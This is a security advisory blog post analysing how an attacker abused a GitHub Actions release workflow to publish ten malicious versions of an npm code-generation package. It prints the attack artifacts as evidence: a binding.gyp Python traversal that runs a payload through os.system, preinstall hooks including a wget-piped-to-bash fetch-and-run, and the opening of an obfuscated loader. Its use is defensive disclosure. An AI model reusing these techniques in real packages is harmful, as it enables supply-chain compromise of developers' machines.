---
title: "Mini Shai-Hulud Strikes Again: openapi-react-query-codegen"
description: "An attacker exploited a flawed GitHub Actions workflow to publish 10 malicious versions of @7nohe/openapi-react-query-codegen (671K downloads/month) via npm OIDC trusted publishing. The payload uses a binding.gyp code execution technique via node-gyp and a multi-layer obfuscated JS loader to download and execute a Bun binary."
url: "https://safedep.io/blog/mini-shai-hulud-openapi-react-query-codegen-compromised"
author: "SafeDep Team"
published: "2026-08-29"
---

# Mini Shai-Hulud Strikes Again: openapi-react-query-codegen

## TL;DR

On August 28, 2026, an attacker published 10 malicious versions of `@7nohe/openapi-react-query-codegen` (671K downloads/month) to npm. The attacker did not steal npm credentials. Instead, they exploited a flawed GitHub Actions `issue_comment` trigger in the release workflow. This trigger lacked an author-association gate. Any GitHub user could open a pull request from a fork, comment `npm publish`, and trigger the release pipeline. The pipeline checked out the attacker's fork code, ran `pnpm install` (which executed the attacker's `preinstall` hook), and held `id-token: write` permission, enough to mint npm OIDC trusted-publishing tokens. The attacker used this to publish arbitrary versions under the legitimate package identity.

The payload uses two independent execution triggers. The first is a `binding.gyp` file that exploits `node-gyp`'s Python expression evaluation to call `os.system('node 3FWCvzduYZg.js')` through a Unicode-escaped class hierarchy traversal. The second is an explicit `preinstall` hook in `package.json`. The `3FWCvzduYZg.js` file is a multi-megabyte, single-line obfuscated script. It decodes through three layers (XOR, AES-128-GCM, javascript-obfuscator) to a bootstrapper that downloads Bun v1.4.0 from GitHub releases into a `trinnyyyy-` prefixed temporary directory. This Bun download pattern and the obfuscation style match the [Mini Shai-Hulud toolkit](https://safedep.io/blog/mini-shai-hulud-and-sap-compromise) used in earlier supply chain attacks against [SAP](https://safedep.io/blog/mini-shai-hulud-and-sap-compromise) and [AntV/317 npm packages](https://safedep.io/blog/mini-shai-hulud-strikes-again-314-npm-packages-compromised).

All 10 versions have been removed from npm. The last safe version is `3.0.2` (published August 11, 2026). The `latest` dist-tag points to `3.0.2` as of August 29, 2026.

Affected packages: [CSV](https://safedep.io/data/blogs/mini-shai-hulud-openapi-react-query-codegen-packages.csv)

**Impact:**

- Projects pinned to version ranges (`^3.0.0`, `^2.2.0`, `^1.6.0`, `^0.5.0`) could have resolved to compromised versions during the attack window
- The `binding.gyp` trigger executes even when install scripts are disabled, because `node-gyp rebuild` processes the file through Python evaluation
- The payload downloads and executes a binary (Bun) from a remote source
- On Windows, the downloaded binary is renamed to a random six-character name to evade detection

**Indicators of Compromise (IoC):**

- File `3FWCvzduYZg.js` in the package root (4.3 to 6.4 MB, single line)
- File `binding.gyp` with SHA256 `d3246926b20a8d021ed7de0ac8e9eee1dda986088f84ba18f31cb2042a121f5d`
- Temporary directories matching `trinnyyyy-*`
- `preinstall` script: `node 3FWCvzduYZg.js`
- [See full IoC list below](#indicators-of-compromise)

## Compromised Versions

All versions were published on August 28, 2026, between 20:00 and 20:21 UTC. The attacker published in two waves, with two canary versions used for testing the exploit.

| Version         | Published (UTC) | Trigger                  | 3FWCvzduYZg.js SHA256                                              |
| --------------- | --------------- | ------------------------ | ------------------------------------------------------------------ |
| 0.5.4           | 20:00:43        | binding.gyp only         | `b49afb7dba04cd99b357ce7c652c823a3707f28e130bd5c6645851a7adc030d6` |
| 1.6.3           | 20:00:48        | binding.gyp only         | `59370c67b54a0ccaedd265e2356f04540b2fba1e1845300ef6de4d5437d99380` |
| 2.2.1           | 20:00:53        | binding.gyp only         | `8e5d1af68ca340ae0c6e8132cb00c686ec2d60502c1994d94ce353d1472ad5a3` |
| 0.0.0-365d4eb\* | 20:01:03        | preinstall (bun pipe)    | N/A (canary, no payload file)                                      |
| 3.0.3           | 20:02:08        | binding.gyp only         | `778d6f0058045d6a2ab9a7e1d3e3be8e7e6b4d9cc217d13949bf1dfbab759a7c` |
| 3.0.4           | 20:19:29        | preinstall + binding.gyp | `b24d121667f21f492cb9db34fbfd515d5922a8dd30b9c45215c7220abbb10ca8` |
| 1.6.4           | 20:19:38        | preinstall + binding.gyp | `e1f1162ece9a6e6ea21a20399cbf31c563a8149d433a68711f4223870c203d5a` |
| 2.2.2           | 20:19:41        | preinstall + binding.gyp | `b6012b2ff87f08f93ee53921c48db907ddbcf5461b03bb988083b01a36886237` |
| 0.0.0-ec7876d\* | 20:20:13        | preinstall (node nu.js)  | N/A (canary, nu.js not included)                                   |
| 0.5.5           | 20:20:53        | preinstall + binding.gyp | `709af2fdeb50324229e94c44c679a0fab18bd8e17d3864405989c526cbb63ad8` |

\*Full canary version strings: `0.0.0-365d4eb738d3146583431948d3ba6e27a32556be` and `0.0.0-ec7876d6c917dad516ba69bbfafc948b834bf0ab`.

Wave 1 (20:00 to 20:02 UTC) used only the `binding.gyp` trigger. No `preinstall` hook appeared in `package.json`. Wave 2 (20:19 to 20:21 UTC) added an explicit `preinstall: "node 3FWCvzduYZg.js"` alongside the `binding.gyp`. The attacker upgraded from stealth to redundancy within 20 minutes.

Each version carries a different `3FWCvzduYZg.js` payload (unique SHA256, sizes from 4,390,354 to 6,417,671 bytes). The `binding.gyp` is identical across all eight payload versions.

A diff between the clean `3.0.2` and the compromised `3.0.4` shows the injection surface. The attacker changed three things: the version number, one `preinstall` line, and two new files.

```
$ diff -rq 3.0.2/package 3.0.4/package
Only in 3.0.4/package: 3FWCvzduYZg.js
Only in 3.0.4/package: binding.gyp
Files 3.0.2/package/package.json and 3.0.4/package/package.json differ
```

```diff
// package.json diff (3.0.2 to 3.0.4)
     "test": "vitest --coverage.enabled true",
-    "snapshot": "vitest --update"
+    "snapshot": "vitest --update",
+    "preinstall": "node 3FWCvzduYZg.js"
```

The clean package is 232KB (41 files). The compromised package is 6.4MB (43 files). The 6.2MB `3FWCvzduYZg.js` and 828-byte `binding.gyp` account for the entire size difference.

## The Compromise Vector

The attacker did not compromise the npm account or GitHub credentials. The attack exploited a flawed GitHub Actions workflow in the repository.

### The vulnerable workflow

The `release.yml` workflow had two triggers:

```yaml
# .github/workflows/release.yml (before fix)
on:
  push:
    tags:
      - 'v*'
  issue_comment:
    types:
      - created
```

The `issue_comment` path ran when any user commented `npm publish` on any pull request. The workflow then checked out the pull request head and ran `pnpm install`:

```yaml
# .github/workflows/release.yml (before fix)
- name: Checkout PR
  if: ${{ github.event_name == 'issue_comment' }}
  run: |
    git fetch origin pull/${{ github.event.issue.number }}/head:pr-find-commit
    git checkout pr-find-commit

- name: Install dependencies
  run: pnpm install

- name: Set prerelease package version
  if: ${{ github.event_name == 'issue_comment' }}
  run: npm version --no-git-tag-version 0.0.0-$(git rev-parse HEAD)

- name: Publish prerelease
  if: ${{ github.event_name == 'issue_comment' }}
  run: pnpm publish --no-git-checks --tag canary
```

Three flaws made this exploitable:

1. **No author-association gate.** Any GitHub user could trigger the workflow, not only collaborators.
2. **Checkout of attacker-controlled code.** The workflow checked out the pull request head, which runs fork code inside the privileged workflow context.
3. **OIDC publishing capability.** The workflow declared `permissions: id-token: write`, which allows minting npm trusted-publishing tokens. Combined with `pnpm install` running the fork's `preinstall` scripts, the attacker's code executed with full access to OIDC token generation.

### The attack

The attacker opened pull requests [#215](https://github.com/7nohe/openapi-react-query-codegen/pull/215) and [#216](https://github.com/7nohe/openapi-react-query-codegen/pull/216) from a fork. These pull requests have since been deleted. A comment of `npm publish` on one of these pull requests triggered the release workflow. The workflow checked out the fork's code, ran `pnpm install`, and the attacker's `preinstall` script used the OIDC token to publish malicious versions to npm under the package's legitimate identity.

The [fix commit](https://github.com/7nohe/openapi-react-query-codegen/commit/8330895b4df0) (2026-08-28T22:50:03Z) confirms this:

> The release workflow fired on any `npm publish` comment on any pull request, with no author-association gate. The job then checked out the PR head and ran `pnpm install`, so a fork's `preinstall` script executed inside a job holding `id-token: write`, enough to mint an npm trusted publishing token and publish arbitrary versions. This was exploited on 2026-08-28 via PRs #215 and #216.

The fix removed the `issue_comment` trigger, dropped the `issues: write` permission, added `persist-credentials: false` to the checkout step, and changed `pnpm install` to `pnpm install --frozen-lockfile`.

### The canary versions

The two `0.0.0-*` versions were test runs. Their `preinstall` scripts pass environment variables that reveal the attacker's understanding of npm OIDC publishing:

```json
// package.json — version 0.0.0-365d4eb (canary 1)
{
  "preinstall": "wget -qO- https://raw.githubusercontent.com/oven-sh/bun/refs/heads/main/src/runtime/cli/install.sh|bash ; bash -c 'WORKFLOW_ID=release.yml REPO_ID_SUFFIX=7nohe/openapi-react-query-codegen TARGET_PACKAGES=@7nohe/openapi-react-query-codegen ~/.bun/bin/bun is_it_this_simple.js'"
}
```

```json
// package.json — version 0.0.0-ec7876d (canary 2)
{
  "preinstall": "WORKFLOW_ID=release.yml REPO_ID_SUFFIX=7nohe/openapi-react-query-codegen TARGET_PACKAGES=@7nohe/openapi-react-query-codegen node nu.js"
}
```

`WORKFLOW_ID`, `REPO_ID_SUFFIX`, and `TARGET_PACKAGES` are the parameters needed to construct valid OIDC provenance claims for npm publishing. The file `is_it_this_simple.js` (not included in the tarball) is the attacker probing whether the exploit works. The name speaks for itself. Neither canary included the actual payload file. Both were dry runs.

## The Payload Triggers

### binding.gyp: code execution via node-gyp

The `binding.gyp` file is identical across all eight payload versions (SHA256: `d3246926b20a8d021ed7de0ac8e9eee1dda986088f84ba18f31cb2042a121f5d`). When `npm install` detects a `binding.gyp` in a package, it invokes `node-gyp rebuild`. `node-gyp` processes the file using Python's `eval()` to evaluate GYP condition expressions. The attacker placed a Python class hierarchy traversal in the `conditions` array:

```python
# binding.gyp — decoded from Unicode escapes
# Original uses \U0000XXXX encoding to evade static detection

[c for c in ().__class__.__base__.__subclasses__()
 if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('node 3FWCvzduYZg.js')
```

The raw file uses `\U` escape sequences for every character in the string literals (`catch_warnings`, `__import__`, `os`, `node 3FWCvzduYZg.js`) to avoid grep-based detection. The target type is set to `\x6e\x6f\x6e\x65` ("none") and references a nonexistent `dog.c` to prevent actual compilation.

The class hierarchy traversal is a technique borrowed from SSTI (Server-Side Template Injection) attacks. It reaches `os.system()` without writing `import os` or `os.system` as plain strings anywhere in the file, which defeats grep-based detection. The `binding.gyp` trigger fires even if install scripts are disabled (`--ignore-scripts`), because `node-gyp` is treated as a build step rather than a lifecycle script.

### preinstall hook

Wave 2 versions added an explicit fallback:

```json
// package.json — version 3.0.4
{
  "preinstall": "node 3FWCvzduYZg.js"
}
```

This runs the payload directly before dependency installation. Combined with the `binding.gyp`, the attacker had two independent execution paths.

### 3FWCvzduYZg.js: three-layer obfuscated loader

The `3FWCvzduYZg.js` file is a single-line script between 4.3 and 6.4 MB. The first bytes confirm the structure:

```javascript
// 3FWCvzduYZg.js — opening bytes (version 3.0.4)
try{Function(function flnw1rt(alnw1rt,klnw1rt){var clnw1rt="";for(var ilnw1rt=0;
ilnw1rt<alnw1rt.length;ilnw1rt++)clnw1rt+=String.fromCharCode(alnw1rt[ilnw1rt]^klnw1rt);
return clnw1rt}([205,132,150,156,139,134,...
```

The three layers:

1. **XOR decode (key 229):** A byte array is XOR-decoded and passed to `Function()` for evaluation. This produces approximately 1.6 million characters of JavaScript.
2. **AES-128-GCM:** The decoded layer contains hardcoded key, IV, and authentication tag for AES-128-GCM decryption, yielding two payloads.
3. **bootstrapper + obfuscated bundle:** Layer 3a downloads Bun v1.4.0 from GitHub releases into a `mkdtemp` directory named `trinnyyyy-`, calls `chmod 755`, and on Windows renames the binary to a random six-character string via `Math.random().toString(36).slice(2,8)`. Layer 3b is a 796KB `javascript-obfuscator` bundle with an encoded string array.

The Bun download pattern and the `trinnyyyy-` temporary directory prefix match the [Mini Shai-Hulud toolkit](https://safedep.io/blog/mini-shai-hulud-and-sap-compromise) observed in the SAP compromise (April 2026) and the [AntV mass compromise](https://safedep.io/blog/mini-shai-hulud-strikes-again-314-npm-packages-compromised) (May 2026). Full decoding of the layer 3b payload has not been completed at the time of publication. The final objective (credential harvesting, backdoor installation, or both) requires further static analysis.

## Timeline

| Time (UTC)          | Event                                                                                                                                               |
| ------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------- |
| 2026-08-11 14:25    | Last clean version `3.0.2` published by maintainer                                                                                                  |
| 2026-08-28 ~19:59   | Release workflow triggered by bot comments on pull requests (skipped, conditions not met)                                                           |
| 2026-08-28 20:00:43 | **Wave 1 begins.** Versions 0.5.4, 1.6.3, 2.2.1 published (binding.gyp trigger only)                                                                |
| 2026-08-28 20:01:03 | Canary version `0.0.0-365d4eb` published (bun install piped into bash, `is_it_this_simple.js`)                                                      |
| 2026-08-28 20:02:08 | Version 3.0.3 published (binding.gyp trigger only)                                                                                                  |
| 2026-08-28 20:17:32 | Release workflow triggered again by bot comments (skipped)                                                                                          |
| 2026-08-28 20:18:44 | [Issue #217](https://github.com/7nohe/openapi-react-query-codegen/issues/217) opened by CharlieEriksen: "[URGENT] Malicious npm packages published" |
| 2026-08-28 20:19:29 | **Wave 2 begins (after public report).** Version 3.0.4 published with preinstall + binding.gyp                                                      |
| 2026-08-28 20:19:38 | Version 1.6.4 published                                                                                                                             |
| 2026-08-28 20:19:41 | Version 2.2.2 published                                                                                                                             |
| 2026-08-28 20:20:13 | Canary version `0.0.0-ec7876d` published (references missing `nu.js`)                                                                               |
| 2026-08-28 20:20:53 | Version 0.5.5 published                                                                                                                             |
| 2026-08-28 20:30:17 | [Issue #218](https://github.com/7nohe/openapi-react-query-codegen/issues/218) opened by danieldanzigerupwind                                        |
| 2026-08-28 22:50:03 | Maintainer pushes [fix commit](https://github.com/7nohe/openapi-react-query-codegen/commit/8330895b4df0) removing `issue_comment` trigger           |
| 2026-08-28 ~23:11   | All malicious versions unpublished from npm                                                                                                         |

The attacker published Wave 2 less than one minute after the first public security report. Wave 2 added explicit `preinstall` hooks that were absent in Wave 1, which suggests the attacker was iterating on the attack in real time.

## Affected Scope

Only `@7nohe/openapi-react-query-codegen` was compromised. Other packages under the `@7nohe` scope (`openapi-mock-json-generator`, `confluence-md`, `adonis-mcp`, `react-realtime-cursor`) show no suspicious publishes in August 2026. The unscoped package `openapi-react-query-codegen` (maintained by `omridevk`) is a separate, unrelated project.

## Indicators of Compromise

### Package versions

| Version         | Tarball SHA256                                                     |
| --------------- | ------------------------------------------------------------------ |
| 0.5.4           | `73bac41332ea7438b671e6538750502a4548302ce26f99e114ded478436a0cb4` |
| 0.5.5           | `f2f88ce6e8b0d8a6c75b4c6cf6a23db4bc1430f359b9bb12c9418fcb74cdfe46` |
| 1.6.3           | `1757c9203143db4958b53cb5c97af64bfe46ad57a07764fed59bbb886a71f1da` |
| 1.6.4           | `a8c00f59e629e5bc4fc6a116fa1ceb8fcf328893a9c798ca446fdcacb0fbdc18` |
| 2.2.1           | `cb46dbd078753f562931920fe4b109c673925138b0e9399527e84c53f07d8a7a` |
| 2.2.2           | `0d58f3434c55842fc41ad99656c20a295d46e7d16f432a122a5a094d7c1de0e2` |
| 3.0.3           | `d1f9960349f2bc0689518ef754d577e1c13125db59b0252f1c85894bb69b5c8e` |
| 3.0.4           | `acaee3a02873334002a27d6643c20f4e38e52c8d0d1f492788e2b68586e2cbfa` |
| 0.0.0-365d4eb\* | `c555a1ab1a2e0425d6d7f965bae55af83b5aceab2177494a00ec43451c863c63` |
| 0.0.0-ec7876d\* | `5654e2b3e19cf5e7f1d39d04ebdd3507d3349f76eeb8319de42b2fdb537b8a2d` |

### Files

| Artifact                               | SHA256                                                             |
| -------------------------------------- | ------------------------------------------------------------------ |
| `binding.gyp` (all 8 payload versions) | `d3246926b20a8d021ed7de0ac8e9eee1dda986088f84ba18f31cb2042a121f5d` |
| `3FWCvzduYZg.js` (v3.0.4)              | `b24d121667f21f492cb9db34fbfd515d5922a8dd30b9c45215c7220abbb10ca8` |
| `3FWCvzduYZg.js` (v1.6.4)              | `e1f1162ece9a6e6ea21a20399cbf31c563a8149d433a68711f4223870c203d5a` |
| `3FWCvzduYZg.js` (v0.5.5)              | `709af2fdeb50324229e94c44c679a0fab18bd8e17d3864405989c526cbb63ad8` |
| `3FWCvzduYZg.js` (v2.2.2)              | `b6012b2ff87f08f93ee53921c48db907ddbcf5461b03bb988083b01a36886237` |
| `3FWCvzduYZg.js` (v3.0.3)              | `778d6f0058045d6a2ab9a7e1d3e3be8e7e6b4d9cc217d13949bf1dfbab759a7c` |
| `3FWCvzduYZg.js` (v2.2.1)              | `8e5d1af68ca340ae0c6e8132cb00c686ec2d60502c1994d94ce353d1472ad5a3` |
| `3FWCvzduYZg.js` (v0.5.4)              | `b49afb7dba04cd99b357ce7c652c823a3707f28e130bd5c6645851a7adc030d6` |
| `3FWCvzduYZg.js` (v1.6.3)              | `59370c67b54a0ccaedd265e2356f04540b2fba1e1845300ef6de4d5437d99380` |

### Behavioral indicators

- Temporary directories matching `trinnyyyy-*`
- Bun v1.4.0 binary downloaded from GitHub releases during `npm install`
- On Windows: binary renamed to a random 6-character alphanumeric name
- `node-gyp rebuild` triggered by `binding.gyp` with obfuscated Python code execution

### Environment variables (canary versions)

- `WORKFLOW_ID=release.yml`
- `REPO_ID_SUFFIX=7nohe/openapi-react-query-codegen`
- `TARGET_PACKAGES=@7nohe/openapi-react-query-codegen`

## References

- [GitHub Issue #218: Security: package is currently publishing malicious code](https://github.com/7nohe/openapi-react-query-codegen/issues/218)
- [GitHub Issue #217: \[URGENT\] Malicious NPM packages published](https://github.com/7nohe/openapi-react-query-codegen/issues/217)
- [Fix commit removing the issue_comment trigger](https://github.com/7nohe/openapi-react-query-codegen/commit/8330895b4df0)
- [Mini Shai-Hulud and SAP Compromise](https://safedep.io/blog/mini-shai-hulud-and-sap-compromise)
- [Mini Shai-Hulud Strikes Again: 317 npm Packages Compromised](https://safedep.io/blog/mini-shai-hulud-strikes-again-314-npm-packages-compromised)
- [Mass npm Supply Chain Attack: Shai-Hulud 2.0](https://safedep.io/blog/shai-hulud-second-coming-supply-chain-attack)
